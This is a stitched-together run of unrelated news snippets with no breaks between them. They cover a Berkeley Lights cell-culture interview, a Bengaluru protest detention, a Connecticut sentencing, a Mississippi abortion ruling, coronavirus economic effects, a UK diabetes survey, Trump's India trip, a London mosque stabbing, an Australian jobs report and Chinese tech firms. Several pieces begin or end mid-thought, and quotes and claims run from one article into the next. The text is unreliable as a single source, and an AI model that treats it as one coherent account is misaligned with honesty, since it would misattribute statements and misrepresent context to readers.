alive during this process? Any manipulation you do to a single cell carries a risk for that cell. We started the company with the mindset that we want to provide the worlds best environment for a single cell. There are a lot of aspects to this and its our OptoSelect chip that underlies everything we develop. We made sure that every surface was highly defined with surface chemistry and that it was highly biocompatible with T-cells, B-cells, or CHO cells. Each cell is placed into one of our nanopens, so called because they have nanoliter volumes. A single cell in a nanoliter is the equivalent of 1 million cells per mL, which is the happy density for most cell types and cell cultures. The cells are able to secrete factors that keep them alive and functioning. The small volume allows them to create a microenvironment within minutes to an hour thats highly conducive to cell growth. We also perfuse media through the chip, meaning the cells are constantly receiving fresh media and waste products can be removed by diffusion. You can think of it like a microcapillary system in the human body. Instead of a static culture where the cells can build up a lot of waste products that make them unhappy, were constantly providing media with the right pH, and nutrients and salt concentrations, at the optimal temperature. All of this is fully defined by our users, including which media they are using. When scientists then start doing imaging, or staining, the cells are in a nice, low impact environment. This enables scientists to do more longitudinal studies that would otherwise not be possible. Image Credit: Alpha Tauri 3D Graphics / Shutterstock.com Was it important for you to develop a platform that allows scientists to build their own assays? In the life science industry, we commonly see scientists purchasing a single box that does one specific assay or workflow, and thats it. There's really very little you can change about it and you either want to do that one workload or you don't. When we built the Beacon Platform, and then later, the Lightning Platform, the goal was to make it user-friendly and allow our customers to take the basic workflows that we had developed and run them straight away. If they needed something different, they could modify that workflow and customize it for their own process to make it world-class. We're trying to balance those two with the Beacon, but the Lightning was developed to be flexible with no need for coding experience. I'm a biologist. I was trained as a molecular biologist and I don't know how to code in Python or how to customize a computer program, but I want to be able to customize the platform that Im using. For example, I want to be able to easily change when the assay is done, when the cells come in, or how they come in. We recently did a big overhaul of our software to enable scientists to drag and drop block of modules that allow a biologist to build a workflow or modify workflow that already exists, fairly quickly and easily. Most of our biologists using the Lightning Platform are up and running within 3-4 days of training. At the moment, we think that's unique for our platform, particularly in an industry where the focus is on developing novel biotherapeutics. You recently launched the Culture Station, an instrument designed to increase the workflow capacity of the Beacon and Lightning platforms. How does the station work, and why did you decide to develop this instrument? We always ask our customers for feedback, and while most of it was positive for the Beacon and Lightning platforms, some scientists wanted to increase the throughput. A lot of the questions we got were, "If I load four chips on a Beacon or a single chip on a Lightning, then that experiment has to complete before I start my next experiment. That limits me in some of the throughput that I can get from the platform. Is there a way I could take the chip off, if I just need to grow cells for two to three days and I don't need to image them, and simply grow them? Can I grow them in an incubator?" Due to the way that the chips work, we need to have a pump that's constantly pushing media through, in addition to maintaining the temperature. You can't just take the chip out like a well plate and drop it in an incubator and maintain the same level of cell viability. We received this feedback and realized that we had already created the solution internally. Our scientists were using a unique version of the platforms to increase their own throughput. We have a close relationship with our customers, so they knew about this system which was only being used for internal development. They asked if we could provide a product-version of this station, so we did. Essentially, the accessory allows you to move the chips from a Beacon or Lightning onto the Culture Station, and culture them. It maintains the temperature of the chip and keeps the profusion of media through it during the whole run. There is no imaging, so we were able to develop a platform that can support up to four chips at the same time. This allows experiments to be run in an increased scale. You could load four chips on a Beacon or a chip on a Lightning and move them off to the Culture Station, then load another chip and so on. You can double the capacity of a Beacon with a single Culture Station or quadruple the capacity of a Lightning. The other unique feature of the Culture Station is that every chip is independent from a media perspective. You could run four different medias on the same cells across four different chips and look at the effects on cell viability and growth, for example, allowing for media optimization. It also frees up each instrument to start a new experiment. This is particularly useful for the Lightning platform which is often being used into a shared facility where different researchers want to run multiple experiments each week. Whats next for the company? The theme is to provide the most value for our customers. This year will be a big year for us. We are releasing a lot of new products and have already announced the second version of our plasma B-cell discovery platform a couple of weeks ago, followed by the Culture Station. We are now looking to expand into new applications that we havent covered before or updates to existing applications that drive them to the next level, either in the number of cells that are screened or the types of assays that can be done on a single cell. We just announced a large project with Ginkgo Bioworks in the synthetic biology space. We have grand aspirations to be a large company that provides solutions across a wide array of the life science industry, not just mammalian cells, but also other types of cells. The goal of the company is to allow our customers to find the best cells across the board. Where can our readers find more information? About Mark White, Ph.D. Mark has been with Berkeley Lights almost from the beginning. He was the first molecular biologist that the company hired to do assay development on their proprietary single-cell secretion assay. Since then, he has built a genomics team followed by a move into a marketing role around three years ago. He is currently the Senior Director of Marketing for T-cell discovery. His career highlights include seeing the company grow from 13 people to over 200 and deliver multiple products to market. On Friday, a woman named Arudra was detained by the Bengaluru police for allegedly holding a poster demanding the "liberation" of multiple groups of people including Kashmiris. According to Bengaluru Police Commissioner Bhaskar Rao, she reached the venue of a protest organised by the Hindu Jagran Vedike who protested against the chanting of pro-Pakistan slogans. At that juncture, some people noticed the poster that she was carrying and objected to her presence. Rao revealed that the police personnel had to rescue her. Thereafter, she was taken into custody along with the poster for her own safety. Moreover, he stated that the investigation was still going on. As per sources, no formal arrest has been made in this matter. Read: AIMIM Warns Waris Pathan For Hateful '15 Cr Vs 100 Cr' Threat; No Action Taken: Sources Bengaluru Police Commissioner remarked, When the Hindu Jagran Vedike persons had gathered near Townhall, to whom the person was given by DCP Central to protest about yesterday evenings incident, one single girl came there and sat there among those people with a placard in Kannada language showing Dalit Mukti, Kashmir Mukti and Muslim Mukti. And then, these people asked her to go from there. Then, a crowd gathered and we had to rescue that girl. And she has now been taken into our custody for her own safety along with her placard. We will find out where she has come from, what has happened and who exactly is responsible. He added, She has not shouted anything. She has not said a single word till now. Let the investigation take place. It is too early for me to say anything. Bengaluru Police: The name of the woman, who has been taken into custody for holding a banner reading 'Dalit Mukti, Kashmir Mukti & Muslim Mukti', is Arudra. https://t.co/3OtlCi3Rjb ANI (@ANI) February 21, 2020 Read: 'Pro-Pak Sloganeer At Owaisi Rally Had Maoist Links, Will Book Organisers': CM Yediyurappa Possible connection with pro-Pakistan sloganeer being probed Sources reveal that the whereabouts of Arudra and her family are being kept under the wraps for their safety. Reports indicate that she is a student of an engineering college in the Malleswaram area. Furthermore, the police have registered a suo moto case against Arudra under sections 153A and 153B of the Indian Penal Code for disturbing peace and harmony. Speaking to a news agency, ACP R Chandrashekhar said that the police was probing a possible connection between Arudra and Amulya, the woman who chanted Pakistan Zindabad slogans at an anti-CAA rally in Bengaluru on Thursday. Read: Bengaluru: CCTV Video Accessed Of Unidentified Person Spraypainting 'Free Kashmir' Signs Read: Mysore University Gives Damning Assessment Of On-campus Protest With 'Free Kashmir' Poster Norwalk Police Dept. STAMFORD A Norwalk man caught uploading child pornography on his home computer has been sentenced to two years in jail by a Stamford judge. In August 2018 Norwalk police received a cyber tip from the National Center for Missing and Exploited children about someone in Norwalk copying child pornography off the internet, police said at the time. They were able to trace the activity to Campos, 22, who was living on South Main Street. After obtaining a search and seizure warrant, Norwalks Special Victims Unit raided Campos apartment and carted away an electronic device containing numerous files containing child pornography. The talk of detention centers for those excluded in Assam has scared Sheikh. She says the past month has been a blur: She took time off work to visit government offices during the day, then spent nights trawling through thousands of pages of digitized records to look for her ancestors names in past voter lists. She found the names of her father and grandparents in the voter rolls for most national elections, but the relevant pages for 1972 were missing. Have you heard of the Sinnfluencer? A German term, the combination of sinn (purpose, meaning, even spirit) and the English word influencer' describes a growing phenomenon of online personas garnering a following around their commitment to social or political causes. While these YouTubers and Instagrammers tackle an array of issues ranging from government policy and feminism to self-care, lately their focus on sustainability has attracted attention. So has their ability to act as partners for brands and retailers looking to not only reach consumers, but also help them make more sustainable choices. Ant not without good reason: Research has shown that consumers want the help of the companies they buy with to live more environmentally friendly lives, looking to them as a resource. Could this be the next frontier for brands and retailers looking to encourage sustainable and otherwise ethical consumption beyond circular practices and add-ons, and instead actually influencing the mindsets and everyday behavior of consumers? Time will tell, and PSFK will continue to track. Already, YouTubers like Annie Jaffrey and Niomi Smart have cultivated and sustained massive followings, and feature as well as partner with smaller, up-and-coming and eco-friendly makers, which gives the latter exposure while also leading by example for their young viewers worldwideyet doing so in channels that were originally established around topics like beauty and fashion. Considering these online presences (as well as more strictly eco-focused ones like Greta Thunberg and glacier996girl), It seems there's some major potential for wide-ranging eco-influence and beyond from the guru guides people are already watching. A federal appeals court has struck down the controversial Mississippi abortion law that would have effectively banned terminations past six weeks when women may not even realize they are pregnant. The law has been temporarily blocked after judges of the Fifth District found it unconstitutional because it would ban abortion before the point when a fetus could survive outside of the womb. The ban, passed by the state in 2019, has been criticized by campaigners for women's rights. Judges of the Fifth District found the law which would have been one of the strictest in the U.S. unconstitutional because it would ban abortion before a fetus could survive outside of the womb The only abortion clinic in Mississippi, Jackson Women's Health Organization, sued the state after Phil Bryant, the former Republican governor, signed the bill into law. The abortion law would have been one of the most restrictive in the U.S., banning most terminations once fetal cardiac activity can be detected which can be at around six weeks. 'A ban at six weeks of pregnancy means many of our patients would lose their right to have an abortion before they even know they're pregnant,' Shannon Brewer, director of the abortion provider, told CBS. 'Most of our patients are past that point. Some have spent weeks saving money for the procedure and have driven hundreds of miles to reach us.' The director of the only abortion clinic in Mississippi, Jackson Women's Health Organization, said women would lose their right to a termination before they even knew they were pregnant The clinic said that it provides abortions up to 16 weeks. Mississippi is one of seven states that passed an abortion ban in 2019 but all have been blocked by courts. Alabama, Georgia, Louisiana, Ohio and Kentucky and Missouri all put forward their own bills. In Alabama, Governor Kay Ivey signed the strictest bill - a near-total ban on the procedure with no exceptions for rape or incest. The states have been enacting laws aimed at spurring court challenges that could eventually seek to overturn Roe v. Wade, the court's landmark 1973 ruling that legalized abortion nationwide. A loss of $29 billion in airline revenue. China auto sales down by 92 percent. Interruptions for Procter & Gambles 387 suppliers in China. As the coronavirus outbreak rattles the global economy and disrupts supply chains, international companies across nearly every industry are confronting a stark reality: Business will not go on as usual. And investors have taken notice. U.S. stocks fell for the second-straight day on Friday. Shares of energy, airline and technology companies led the broader market lower on Wall Street, as the S&P closed more than 1 percent lower, putting it on pace for its worst day of the month. Oil and gas prices also fell, with the price of a barrel of benchmark American crude slipping nearly 1 percent. The markets have become more volatile since the outbreak, but American investors have largely shrugged off the threat. Since Jan. 7, when Chinese officials identified the virus, the S&P 500 remains up more than 3 percent, even after this mornings sell-off. Matt Philips A new UK-wide survey, conducted by Napp Pharmaceuticals, suggests that over half (54%, n=403) of GPs and nurses who treat patients with type 2 diabetes (T2D) do not carry out a vital routine test annually, which is used to identify early markers of kidney damage. The Urine Albumin-to-Creatinine Ratio (UACR) test is used to detect protein in the urine, signaling kidney damage which can lead to fatal complications. According to survey respondents, the UACR test, which is recommended by UK guidelines for diabetes management (NICE and SIGN), is not being administered annually to all patients as it should be because many patients are unwilling to provide a urine sample (38%, most frequent reason given by healthcare professionals [HCPs]). Chronic kidney disease (CKD), the progressive and irreversible destruction of the kidneys, has far reaching effects on the body, particularly the heart. Kidney function naturally declines with age, however this decline is accelerated in 1.9 million patients who also live with T2D in the UK. In these patients, any kidney damage results in a 23% increased likelihood of death over 10 years, compared to only 12% for T2D alone. Early identification of kidney damage, as identified through the vital UACR test, can help provide a window of opportunity, where rate of damage can be slowed or even halted with the right treatment and lifestyle changes. Diagnosis, prevention and slowing the rate of decline in kidney disease is critical to the successful management of the known co-morbidities in T2D. It is also an important factor in reducing the strain on services used to manage T2D. Diabetes is estimated to cost the NHS 14 billion per year, and over 80% of those costs are the result of managing complications of the disease, including those associated with the kidney and the heart. Routine kidney function testing is an important way of identifying those people who are at risk of disease progression. Dr. Kevin Fernando, GP with Specialist Interests in Diabetes & Medical Education, North Berwick Health Centre said: The kidneys are often overlooked in favor of the heart in the treatment of T2D. However, if you protect the kidneys, you can help protect the heart. Any sign of accelerated kidney damage, no matter how early, multiplies the risk of death. By making a small change to clinical practice to routinely measure kidney function and motivate patients to provide samples, doctors and nurses have an opportunity to spot damage early and positively intervene in those patients who are identified as being at risk. According to the HCPs surveyed, the most frequent reason given for not conducting the UACR test is that patients are unwilling to provide a urine sample. This may be because patients are unaware of the impact of kidney damage on their health, as the vast majority of patients do not ask about it in their annual diabetes review. Awareness and action on kidney damage are a partnership between the healthcare professional and patients. Despite 79% of HCPs surveyed admitting that they knew the UACR test should be used as best practice, 75% underestimated the impact of kidney disease on cardiovascular mortality. Once they were told the level of risk, 85% responded that their colleagues would be more likely to conduct kidney function testing if they were aware of the true increase in risk of death. A spokesperson from the National Kidney Federation said: Effective diabetes management means more than just blood sugar control. So many patients and doctors are unaware that kidney damage is occurring and just how serious it can be for someone with diabetes. If patients knew the true impact of kidney disease, they may be more willing to provide a urine sample to help prevent further decline. We call on patients to learn about their health and for doctors and nurses to take the time to explain that by giving a urine sample we can identify any kidney disease, to monitor its progression and predict future health. Dr Aisling McMahon, Executive Director for Research, Innovation & Policy at Kidney Research UK said: These survey results are sadly unsurprising, indeed they bear out findings from our own research among people with diabetes. Large numbers of people within this patient group are unaware that they are at increased risk of developing kidney problems, and how life-limiting those kidney problems can become. Having a simple urine test can help diagnose kidney problems early, and treatment and adjustments to lifestyle can make an enormous difference. The survey, commissioned by Napp Pharmaceuticals, was conducted online via the physician network, SERMO during October and November 2019. Only UK Practice nurses and GPs who confirmed they were actively involved in the management of patients with T2D were able to participate. Anyone who wants to know if they are likely to be at risk of developing kidney problems can take Kidney Research UKs quick online health check: https://kidneyresearchuk.org/kidneyhealthcheck/ But many of the people who cause problems are likely the ones who could benefit from a long-term city partnership with a mental health service provider. American President Donald Trump's daughter Ivanka, son-in-law Jared Kushner and a galaxy of top United States officials will be part of the high-level delegation accompanying him during his visit to India on February 24 and 25, official sources said on Friday. IMAGE: US President Donald Trump is greeted by White House Senior Advisor Ivanka Trump. Photograph: Reuters The US has already announced that First Lady Melania Trump will be part of the delegation. The other top officials who will accompany the US president are Treasury Secretary Steven Mnuchin, Commerce Secretary Wilbur Ross, National Security Advisor Robert O'Brien and Energy Secretary Dan Broulliette, the sources said. Trump will arrive in Ahmedabad on February 24 for his less than 36-hour trip to India. From Ahmedabad, he will travel to Agra before arriving at the national capital for the main leg of the visit. The US has confirmed that Ivanka Trump and her husband Jared Kushner, Trump's senior advisor, will be part of the US president's delegation, official sources said. Ivanka visited India in November 2017 to attend the Global Entrepreneurship Summit in Hyderabad. She attended the summit at the invitation of Prime Minister Narendra Modi. This will be Trump's first visit to India. In Ahmedabad, he will address the 'Namaste Trump' event jointly with Modi at the newly built Motera cricket stadium. After the event, the Trump family will travel to Agra where they will spend about an hour at the Taj Mahal before sunset. They will then leave for Delhi. On the morning of February 25, Trump and the First Lady will be accorded a ceremonial welcome at the forecourt of the Rashtrapati Bhavan. From there, they will go to Mahatma Gandhi's memorial Rajghat. This will be followed by restricted and delegation-level talks between Trump and Modi at Hyderabad House. Boosting counter-terror cooperation, deepening engagement in the Indo-Pacific region, augmenting defence and trade ties and India's concerns over H1B visas are expected to figure prominently in the talks between Trump and Modi on February 25. The two countries are looking at signing about five pacts providing for cooperation in the areas of intellectual property rights, trade facilitation and homeland security during the visit, the External Affairs Ministry said on Thursday. The two sides are also expected to seal a couple of defence deals, including India procuring 24 MH-60 Romeo helicopters at a cost of $2.6 billion and six AH-64E Apache helicopters for $800 million from the US. Though there have been intense negotiations between their trade officials, the two countries couldn't resolve all the sticky issues in the way of finalising a mega trade deal during the visit. India on Thursday said it does not want to create artificial deadlines for firming up the deal and hoped to reach an understanding with an outcome that strikes the right balance for both sides. "We do not want to rush into a deal as the issues involved are complicated with many decisions potentially having real impact on people's lives and long-term economic consequences. We do not want to create artificial deadlines," said External Affairs Ministry Spokesperson Raveesh Kumar. William McRaven, the retired U.S. Navy admiral who directed the raid that killed Osama bin Laden, has been chosen to give the 2020 commencement speech at the Massachusetts Institute of Technology, the school announced Friday. McRaven is scheduled to address graduates of the university in Cambridge at a May 29 ceremony. In a written statement, MIT President L. Rafael Reif praised McRaven for his integrity, intellectual curiosity, decency, humility and self-discipline. "A brilliant problem solver with deeply held values and the courage to speak boldly for his principles, he will fit right in at MIT, Reif said. McRaven was head of U.S. Special Operations Command in 2011 when a team of Navy SEALs killed the al-Qaida leader in Pakistan. He also led the 2009 rescue of Richard Phillips, a ship captain who was captured by Somali pirates and later portrayed by Tom Hanks in a movie. A former Navy SEAL himself, McRaven retired from the Navy in 2014. A year later he was hired as chancellor of the University of Texas system. He stepped down from the post in 2018 and is now a faculty member at the University of Texas at Austin. In a statement, McRaven said he is honored to address MIT's graduating class. More than ever before, the world today needs the great minds of the talented men and women that have learned so much from this magnificent institution," he said. "I hope that my experience, in both the military and academia, will be of some value to them as they head off to make their mark in the world. McRaven earned a journalism degree from the University of Texas in 1977 and later received a master's degree from the Naval Postgraduate School in Monterey, California. MITs other recent commencement speakers include former New York Mayor Mike Bloomberg, who is now a Democratic presidential candidate, and Sheryl Sandberg, the chief operating officer for Facebook. London mayor Sadiq Khan was heckled as he visited a mosque today to reassure worshippers after a prayer leader was stabbed on the holy site. The Labour politician was targeted with cries of 'we elected you, what has he done for us?' as he attended Friday Prayers at the London Central Mosque in Regent's Park. He visited the congregation as Raafat Maglad, who was wounded in Thursday's attack, defiantly returned to the Islamic centre with his arm in a sling. Mr Khan was being escorted through a throng of worshippers earlier today when he was heckled, according to footage obtained by the Guido Fawkes blog. He later urged people to remain vigilant and reassured them that police will maintain a presence at the mosque, particularly as the holy month of Ramadan approaches. Addressing worshippers over the loudspeaker system after prayers had ended, he said: 'If you see anybody acting suspiciously please be the eyes and ears of our police so they can keep us safe.' The Labour politician attended Friday Prayers at the London Central Mosque in Regent's Park, where a knifeman yesterday struck He visited the congregation as Raafat Maglad, who was wounded in Thursday's attack, defiantly returned to the Islamic centre with his arm in a sling Mr Maglad, who is in his 70s, was attacked on Thursday afternoon. Witnesses told how the muezzin, who makes the call to prayer, was stabbed at around 3pm in an attack the Metropolitan Police is not treating as terror-related. He was taken to hospital, where he was later pictured with a dressing to a wound on the right side of his neck. Worshippers tackled the suspect, a 29-year-old man who is believed to have been attending prayers, before he was arrested on suspicion of attempted murder inside the mosque. With his right arm in a sling and a bandage over his wound, Mr Maglad told reporters today: 'I forgive him. I feel very sorry for him.' He added: 'What is done is done, he is not going to return.' Mr Maglad, who is originally from Sudan, said he had seen the attacker previously worshipping at the mosque. 'He hit me. I just felt blood flowing from my neck and that's it, they rushed me to the hospital. Everything happened all of a sudden,' he said. Mr Maglad, who has been the muezzin for 30 years, said that as a Muslim he does not hold any hatred in his heart and that it was 'very important' for him to attend Friday prayers. 'If I miss it, I just miss something very important. It is very important for us as Muslims,' he added. Ayaz Ahmad, adviser to the mosque, said: 'Everybody's reaction was shock and horror, the men were screaming. 'It was a vicious attack. We live in a society where we hear a lot about knife crime and what have you, but actually to physically be in a situation where you're first-hand watching an attempted murder take place, it's very shocking.' Plus, Bill's Message of the Day, we are living in the United States of Propaganda. Learn more about your ad choices. Visit megaphone.fm/adchoices A controversial visitor centre, planned for the Dublin Mountains, will not have an adverse impact on protected wildlife and habitats. That is according to a new survey as part of proposals for the development at the Hellfire Club. Customs clearance remains sluggish even after the border gates to China have been reopened After the negotiations between the Ministry of Industry and Trade (MoIT), Lang Son province People's Committee, and the government of Guangxi, export-import activities via sub-border gate Tan Thanh-Po Chai have been resumed yesterday (February 20, 2020). As of the end of yesterday, export procedures are rolling along at this border gate quite slowly, with only 11 containers of fruits (mainly dragon fruit) being cleared, equivalent to 3.6 per cent of the total export volume before the COVID-19 epidemic (around 300 containers a day). According to the Ministry of Industry and Trade's Agency of Foreign Trade, around 280 containers of agricultural products have been exported via Huu Nghi and Chi Ma border gates and Dong Dang station (Lang Son province), Mong Cai border gate (Quang Ninh), and Thanh Thuy border gate (Ha Giang). However, more than 560 containers are waiting for customs clearance at Huu Nghi border gate, including 339 containers of dragon fruit, longan, and jackfruit, and there are 200 containers waiting at the border gates of Lao Cai province. Last weekend, after border gates were opened for two days on February 10-11, more than 555 containers of agricultural products were waiting for customs clearance to resume for exports to China. Most of them (around 300 containers) were standing at Kim Thanh II border gate (Lao Cai province) and Huu Nghi border gate (Lang Son province). At the same time, more than 100 containers of dragon fruit were stuck at Lang Son province's Tan Thanh border gate, dozens of containers were at Coc Nam and Chi Ma border gates, while 41 train cars (including seven carrying dragon fruit and the rest containing steel) were waiting to resume customs clearance at Dong Dang railway station. The delays in customs clearance at border gates in Lang Son, Cao Bang, Quang Ninh, and Ha Giang until the end of February have had a significant impact on the consumption of agricultural products. The two countries have agreed on strict prevention measures for export activities. Accordingly, vehicles transporting goods between Vietnam and China will be disinfected before entry and exit. Meanwhile, workers loading and unloading goods and drivers will have to follow strict protocols to avoid infection. STATE OF THE NATION February 2020 Employment Report SALARIES SEASONALLY ADJUSTED JAN 20 --------------------- % change avg. $ --------------------- NSW 1.7% $90,875 VIC 1.7% $87,976 QLD 2.0% $85,692 SA 3.8% $83,103 WA 0.3% $90,661 TAS 5.1% $79,951 NT -0.5% $87,287 ACT 2.9% $90,900 AUS 1.7% $88,746 --------------------- SALARIES SEASONALLY ADJUSTED DEC 19 --------------------- % change avg. $ --------------------- NSW 1.9% $90,587 VIC 2.5% $88,283 QLD 2.4% $85,601 SA 6.7% $83,554 WA 1.3% $91,113 TAS 4.7% $79,108 NT 5.4% $88,843 ACT 2.6% $91,709 AUS 2.3% $88,717 --------------------- Melbourne, Feb 21, 2020 AEST (ABN Newswire) - The latest SEEK Ltd ( ASX:SEK ) ( FRA:SLD ) ( OTCMKTS:SKLTY ) Employment Report shows an overall decline of job ad volume, at -6.5% year on year to January 2020 and -6.4% year on year to December 2019. Whilst year on year volumes are down, SEEK data is showing positive improvements, with month on month job ads up by 1.6% on December 2019.JANUARY 2020 OVERVIEWSTATE OF THE NATION:- SEEK job ads are down by 6.5% y/y- Average advertised salary is up by 1.7% y/y (average national salary of $88,746)- Industries with the highest job ad growth y/y include: Community Services & Development (15.7%) and Education & Training (6.5%)- Industries showing salary growth include: Insurance & Superannuation (6.5%), Hospitality & Tourism (4.0%), Banking & Financial Services (3.7%) and Trades & Services (3.7%)STATE OF THE STATES:- Job ad volumes are growing in the ACT (9.5%), WA (5.7%) and SA (0.7%)- Majority of states show an increase in salary with TAS (5.1%), SA (3.8%) and ACT (2.9%) leading the wayDECEMBER 2019 OVERVIEWSTATE OF THE NATION:- In December, SEEK job ads were down by 6.4% y/y- Average advertised salary was up 1.7% y/y (average national salary of $88,717)- Sectors with the highest job ad growth y/y included: Community Services & Development (16.8%), Education & Training (12.5%), Healthcare & Medical (8.0%) and Government & Defence (6.8%)- Industries showing salary growth included: Insurance & Superannuation (6.1%), Government & Defence (6.1%) and Mining, Resources & Energy (4.9%)Community Services & Development leads as the industry with the highest job ad growth in January 2020 and December 2019 up 15.7% and 16.8% year on year respectively.Kendra Banks, Managing Director, SEEK ANZ comments:"Whilst year on year job ads for January 2020 were down, we are seeing positive month on month growth, pointing to a potential improvement in the job market.January marked the second consecutive month of positive month on month job ad growth at 1.6%, backing up the 0.2% rise in December. However, after Australia's devastating bushfire season, and the uncertainty surrounding novel coronavirus, we expect short term growth to remain challenging as sectors such as Hospitality and Tourism, Agriculture, Forestry and Fishing, Retail and the Higher Education sector remain exposed.However, we are continuing to see the Community Services & Development industry make consistent contributions to job ad growth. Since midway through last year, opportunities for job seekers remain available across Aged & Disability Support, Community Development, Management and Child Welfare and Youth & Family Services.In the states, Western Australia shows higher than average growth in the Community Services & Development industry, up 16% year on year to January 2020. Regions such as Mandurah & Peel, Bunbury & South West, Albany & Great Southern and even further east in Kalgoorlie Goldfields and Esperance are all contributing to job ad growth.Queensland's Community Services & Development industry is also strong, up 11% year on year to January. Job opportunities can be found across Brisbane to the Sunshine Coast, to Western Queensland and further north in Mackay & Coalfields. These roles are from a wide array of the sector, from Aged & Disability Support, Community Development, Management, Child Welfare, Youth & Family Services, Indigenous & Multicultural Services to Fundraising.STATE OF THE INDUSTRY: HOUSING & CONSTRUCTIONKendra Banks continues to comment: "Whilst our 2020 January data shows a further decline in job ads for housing related sectors, such as Construction, Trades & Services, Real Estate and Property, we will watch closely to see if this is the bottom of the downward trend, as we have seen signs of hiring activity stabilising in our data.This prediction coincides with the Australian Bureau of Statistics latest building approvals, which were up 2.7% year on year to December 2019. There may be further support to underpin residential hiring activity as reconstruction efforts commence in Australia's bushfire affected regions, and communities begin rebuilding over the course of the year.STATE OF THE NATION: SALARYThe average advertised salary across Australia was up 1.7% compared to last year (y/y to January 2020) at an average of $88,746. Salaries grew across every state and territory, except Northern Territory (down 0.5% y/y to January 2020).Tasmania leads with a 5.1% growth across the year with an average advertised salary of $79,951, followed by South Australia with 3.8% growth and an average advertised salary of $83,103.Table 1: Average Advertised Salaries Seasonally Adjusted (January 2020 vs January 2019)In December, the average advertised salary across Australia was up 2.3% compared to the previous year (y/y to December 2019) at an average of $88,717. Salaries grew across every state and territory, with South Australia coming in at number one in terms of growth, with an average salary of $83,554 (up 6.7%).Table 2: Average Advertised Salaries Seasonally Adjusted (December 2019 vs December 2018)About the SEEK Employment ReportThe SEEK Employment Report provides a comprehensive overview of the Australian Employment Marketplace. The report includes the SEEK Employment Index (SEI), which is the first Australia aggregate indicator to measure the interaction between labour market supply and labour market demand.It also includes the SEEK New Job Ad Index which measures only new job ads posted within the reported month to provide a clean measure of demand for labour across all classifications.SEEK's total job ad volume (not disclosed in this report) includes duplicated job advertisements and refreshed job ads. As a result, the SEEK New Job Ad Index does not always match the movement in SEEK's total job ad volume.Disclaimer: The Data should be viewed and regarded as standalone information and should not be aggregated with any other information whether such information has been previously provided by SEEK Limited, ("SEEK").To view the SEEK Employment Report, please visit:About SEEK Limited SEEK Limited (ASX:SEK) (OTCMKTS:SKLTY) is a diverse group of companies, comprised of a strong portfolio of online employment, educational, commercial and volunteer businesses. SEEK operates across 18 countries with exposure to over 2.9 billion people and approximately 26 per cent of GDP. SEEK makes a positive contribution to people's lives on a global scale. SEEK is listed on the Australian Securities Exchange, where it is a top 100 company with a market capitalisation close to A$6billion and has been listed in the Top 20 Most Innovative Companies Globally by Forbes, and Number One in Australia. Alford: We absolutely knew this had to be a nontraditional cookbook. We really didnt have a lot to refer to in terms of creating a book like this. I mean, obviously, with all the discussion thats been going on, in retrospect, we understand the importance of acknowledging our fellow rage bakers in this space and in the next imprint, we are going to do that. And this is obviously very surprising and clearly not the intent. This is not the story we wanted to create in any way, shape or form. We saw this as a pro-social tool to use and leverage our skills as professionals and as women to change the conversation around rage and baking. Chinese tech firms have brought their newest medical products and services to aid the fight against the novel coronavirus epidemic and many internet firms have seen strong business growth during the period. The epidemic has brought challenges as well as opportunities for corporate innovation, said Daniel Zhang, chairman and chief executive officer of tech giant Alibaba Group. SHENYANG, Feb. 20 (Xinhua) -- The novel coronavirus epidemic may have temporarily affected economic activities across China. However, many tech companies and internet firms are playing their parts in the fight against the epidemic and contributing to the growth of the country's economy. Some tech companies have brought their newest medical products and services to join in the fight against the virus and many internet firms have seen strong business growth during the period. MEDICAL EQUIPMENT To aid the fight against the virus, leading software developer Neusoft developed a type of remote CT equipment in just seven days. Photo taken on Feb. 16, 2020 shows the remote CT equipment developed by Neusoft Medical Systems Co., Ltd. in Shenyang, northeast China's Liaoning Province. (Xinhua/Pan Yulong) "The equipment can quickly diagnose using AI computing and reduce contact between medical workers and patients," said Liu Jiren, chairman of Neusoft. Over the past few years, Neusoft has been seeking to empower the health care industry with information technology. "The epidemic has made us more determined in our business strategy and we will develop and manufacture more medical equipment deeply integrated with internet technology," Liu said. Robots are also joining the fight to reduce cross-infection risks and improve efficiency. Siasun, a leading robot manufacturer, has rolled out medical delivery robots and electric adjustable beds. Engineers adjust a medical delivery robot developed by robot manufacturer SIASUN Robot &Automation Co., Ltd. in Shenyang, northeast China's Liaoning Province, Feb. 3, 2020. (Photo by Yang Qing/Xinhua) With advanced technologies such as laser positioning, intelligent navigation and human-computer interaction, medical delivery robots can help health workers spray disinfectants and hand out medicine to patients. The electric adjustable beds allow infected patients to eat in bed and assist them to sit up and roll over. Siasun is also developing a robot that can replace nurses in conducting throat testing for the virus. Siasun president Qu Daokui said apart from maintaining a leading position in industrial robots, the company will develop new products for health and elderly care to nurture new business growth drivers. FRESH FOOD E-COMMERCE E-commerce platforms, particularly online fresh food retailers, reported marked business growth as people are asked to stay at home to avoid potential infection when shopping at crowded brick-and-mortar stores. Fresh food delivery app Missfresh saw sales soar 3.5 times year on year during the nine-day Spring Festival holiday, while the fresh food subsidiary of e-commerce giant JD.com saw sales surge 2.15 times. To cope with business growth and labor shortages, tech giant Alibaba's Freshhema, a fresh food retailer that offers delivery service, came up with the idea of "sharing employees" with restaurants and ride-sharing firms hard hit by the coronavirus outbreak. Wei Yin (R) and her colleague, both of whom working as shared staff, discuss at a Hema store in Beijing, capital of China, Feb. 14, 2020. Some local catering enterprises, which have suspended their business temporarily, reached the deal of "staff-sharing" with Hema. Their staff will join Hema to do jobs like packaging, sorting and arranging goods during the fight against the epidemic. (Xinhua/Ju Huanzong) Fresh food online platforms are also helping fruit and vegetable growers in the remote countryside whose sales were stalled by the epidemic. "Our strawberries now sell well on these platforms and we no longer have to worry about the sales," said Ma Yandong, head of the local strawberry-growing association in the city of Donggang in the northeastern province of Liaoning. Sales in the country's largest strawberry-growing base were once stalled because of the epidemic. "Many of our rural cooperatives are no longer accepting new orders as they now worry about the supply shortages," said Ma. CLOUD Cloud-related services, from cloud education to remote medical consultation and cloud working, also saw rapid growth amid the epidemic. School openings after the Chinese Lunar New Year holiday were postponed due to the epidemic, but online class services are helping minimize the impact. On the first day of the spring semester on Feb. 10, a large number of primary and middle school students across the country took online lessons at home. By Feb. 10, schools in 300 cities nationwide have joined the cloud class program of Alibaba's communication app DingTalk, benefiting a total of 50 million students. Remote medical consultation services are also bustling as they can help prevent cross-infections and ease pressure on hospitals. More than 10 major hospitals in Hefei, capital of the eastern province of Anhui, have launched free online medical consultation services for patients with fever after the province launched its top public health emergency response on Jan. 24. Medical specialists provide online services to patients in Henan Provincial People's Hospital in Zhengzhou, central China's Henan Province, Feb. 1, 2020. (Xinhua/Li Jianan) Internet medical platforms have also reported surge in online services. WeDoctor, which provides online access to licensed doctors, said doctors received more than 100,000 consultations on the platform on the first 